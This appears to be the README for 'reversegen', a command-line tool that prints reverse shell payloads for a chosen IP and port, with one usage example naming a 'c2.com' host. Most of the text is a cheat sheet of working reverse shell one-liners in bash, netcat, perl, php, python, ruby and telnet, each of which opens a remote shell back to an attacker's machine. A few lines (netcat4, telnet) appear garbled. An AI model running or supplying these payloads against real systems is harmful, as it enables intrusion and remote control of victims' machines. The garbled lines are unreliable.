Sometimes searching the internet for a reverse shell and changing its values is a pain, that's what this tool is for.
When executed it prints out the reverse shell (so you can pipe it to xclip to copy and paste it) and optionally writes it to a file in case you need it later.
To copy the result of the script you can do it like this (it will prevent the script from outputting the reverse shell):
reversegen -m bash -i 10.10.1.14 -p 1234 | xclip -selection clipboard
It also allows getting the IP from the hostname so you can pass as the IP argument an URL like: google.com.
Having it in /etc/hosts will have the script to choose that IP.
chmod +x reversegen.py
sudo ln -s $(pwd)/reversegen.py /usr/local/bin/reversegen
reversegen [-h] -m METHOD -i IP -p PORT [-o FILENAME]
Example of usage:
reversegen -m python -i 192.168.1.10 -p 4444
reversegen -m python -i 10.10.1.14 -p 4444 -o ~/rev
reversegen -m python -i c2.com -p 4444
-
bash:
bash -i >& /dev/tcp/IP/PORT 0>&1 -
bash2:
0<&196;exec 196<>/dev/tcp/IP/PORT; sh <&196 >&196 2>&196 -
netcat:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT >/tmp/f] -
netcat2:
nc -e /bin/sh IP PORT -
netcat3:
/bin/sh | nc IP PORT -
netcat4:
rm -f /tmp/p; mknod /tmp/p p && nc IP PORT 0/tmp/p -
perl:
perl -e 'use Socket;$i="IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' -
perl2 (Doesn't use /bin/sh):
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"IP:PORT");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' -
perl3 (For Windows):
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"IP:PORT");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' -
php:
php -r '$sock=fsockopen("IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");' -
python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' -
ruby:
ruby -rsocket -e'f=TCPSocket.open("IP",PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' -
ruby2 (Doesn't use /bin/sh):
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("IP","PORT");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' -
ruby3 (For Windows):
ruby -rsocket -e 'c=TCPSocket.new("IP","PORT");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' -
telnet:
rm -f /tmp/p; mknod /tmp/p p && telnet IP PORT 0/tmp/p